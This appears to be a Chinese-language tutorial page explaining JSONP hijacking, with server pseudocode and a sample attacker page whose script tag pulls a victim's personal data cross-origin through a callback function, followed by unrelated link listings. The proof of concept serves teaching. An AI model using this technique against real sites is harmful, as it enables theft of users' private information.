理解jsonp劫持漏洞
JSONP劫持
存在漏洞的链接格式类似于以下这种:
http://www.xxx.com/xxx.do?callback=info
参数名也常见有cb jsoncb call jsoncall cback等
分析jsonp原理
http://www.xxx.com/xxx.do 服务器伪代码:
//获取callback的值
$name=$_GET["callback"];
//校验用户身份信息,从数据库获取用户信息
$result=查库并返回结果
//返回信息
$name+"("+$result+")"
//放到实际例子就是这样的
info({"name":"Jack","phone":"18888888888","location":"NanJin"})
jsonp响应:
info({"name":"Jack","phone":"18888888888","location":"NanJin"})
json格式:
{"name":"Jack","phone":"18888888888","location":"NanJin"}
上面的jsonp响应其实是一句js代码:
执行info() 函数 ,{"name":"Jack","phone":"18888888888","location":"NanJin"}作为入参
攻击者构造一个页面http://hack.html
包含以下代码
<script>
function info(data){alert(JSON.stringify(data)); }
</script>
<script src="http://www.xxx.com/xxx.do?callback=info"></script>
script标签的src属性可以跨域引入脚本,因此hack.html引入js后相当于:
<script>
function info(data){ alert(JSON.stringify(data)); }
info({"name":"Jack","phone":"18888888888","location":"NanJin"})
</script>
弹出用户信息,即可证明该页面可以跨域操作用户敏感数据;实际攻击中,不会弹窗,而是会偷偷把数据存起来~
理解jsonp劫持漏洞的更多相关文章
- JSONP 劫持漏洞实例
0x01 Jsonp简介 Jsonp(JSON with Padding) 是 json 的一种"使用模式",可以让网页从别的域名(网站)那获取资料,即跨域读取数据. 为什么我们从 ...
- cors跨域和jsonp劫持漏洞 和 同源策略和跨域请求解决方案
cors跨域和jsonp劫持漏洞: https://www.toutiao.com/a6759064986984645127/ 同源策略和跨域请求解决方案:https://www.jianshu.co ...
- 点击劫持漏洞之理解 python打造一个挖掘点击劫持漏洞的脚本
前言: 放假了,上个星期刚刚学习完点击劫持漏洞.没来的及写笔记,今天放学总结了一下 并写了一个检测点击劫持的脚本.点击劫持脚本说一下哈.= =原本是打算把网站源码 中的js也爬出来将一些防御的代码匹配 ...
- 深入理解JSONP原理——前端面试
JSON和JSONP虽然只有一个字之差,但是它们俩是八竿子打不着的:JSON是一种数据交换格式,JSONP是非正式的跨域数据交换协议. 为什么说JSONP是非正式的传输协议呢?因为它就是利用了< ...
- Dll劫持漏洞详解
一.dll的定义 DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型.在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分 ...
- JSON劫持漏洞攻防原理及演练
注* 作者发表这篇文章的时间较早,某些方法可能并不是最好的解决方案,但针对这种漏洞进行的攻击还依然可见,如早期的:QQMail邮件泄露漏洞,下面介绍的是对这种攻击原理的介绍. 不久之前,我写了一篇文章 ...
- 与跨域相关的 jsonp 劫持与 CORS 配置错误
参考文章: CORS(跨域资源共享)错误配置漏洞的高级利用 JSONP劫持CORS跨源资源共享漏洞 JSONP绕过CSRF防护token 读取型CSRF-需要交互的内容劫持 跨域资源共享 CORS 详 ...
- DLL劫持漏洞
写文章的契机还是看沙雕群友挖了十多个DLL劫持的漏洞交CNVD上去了... 就想起来搜集整理一下这部分 0x01 前言 DLL(Dynamic Link Library)文件为动态链接库文件,又称&q ...
- 老树开新花:DLL劫持漏洞新玩法
本文原创作者:丝绸之路 <img src="http://image.3001.net/images/20150921/14428044502635.jpg!small" t ...
随机推荐
- 区块链之Hyperledger(超级账本)Fabric v1.0 的环境搭建(更新)
参考链接:https://blog.csdn.net/so5418418/article/details/78355868 https://blog.csdn.net/wgh1015398431/ ...
- AVL树实现记录
https://github.com/xieqing/avl-tree An AVL Tree Implementation In C There are several choices when i ...
- ES6学习笔记(函数)
1.函数参数的默认值 ES6 允许为函数的参数设置默认值,即直接写在参数定义的后面. function log(x, y = 'World') { console.log(x, y); } log(' ...
- uni-app
1 路由的跳转 uni.navigateTo({ url:'/pages/home/search' }); //非tabBar页面跳转 uni.switchTab({ url:"/pages ...
- jsp请求java返回pdf、excel与word
1,返回pdf关键代码 /** * @todo * @param * @date 2019年3月8日 * @author yanan */ @RequestMapping("/getPdf& ...
- webpack 模块方法
1. webpack的import和export不需要引入babel 其他ES6语法需要引入babel 2. import引入export导出的模块 3. import()模块分离 低版本浏览器想使 ...
- 分别用for、while和do-while循环语句以及递归方法计算n!,并输出算式
一.用for循环实现 实验过程: 实验结果: 二.用while循环实现 实验结果: 三.用do while循环实现 实验结果: 四.用递归算法实现 实验结果: 实验心得: 此次实验中必须熟悉for循环 ...
- Maven Nexus仓库地址
收集的仓库地址如下: http://maven.wso2.org/nexus/content/groups/public/ http://jcenter.bintray.com/ http://mav ...
- Layui 写一个简单的后台页面
参考如下: 1.layui 官方文档 http://www.layui.com/doc/ 2.https://blog.csdn.net/huyanliang/article/details/7796 ...
- 分析easyswoole3.0源码,协程连接池(五)
连接池的含义,很多都知道,比如mysql的数据库连接是有限的,一开始连接mysql创建N个连接,放到一个容器里,每次有请求去容器中取出,取出用完再放回去. es3demo里,有mysql的连接池. E ...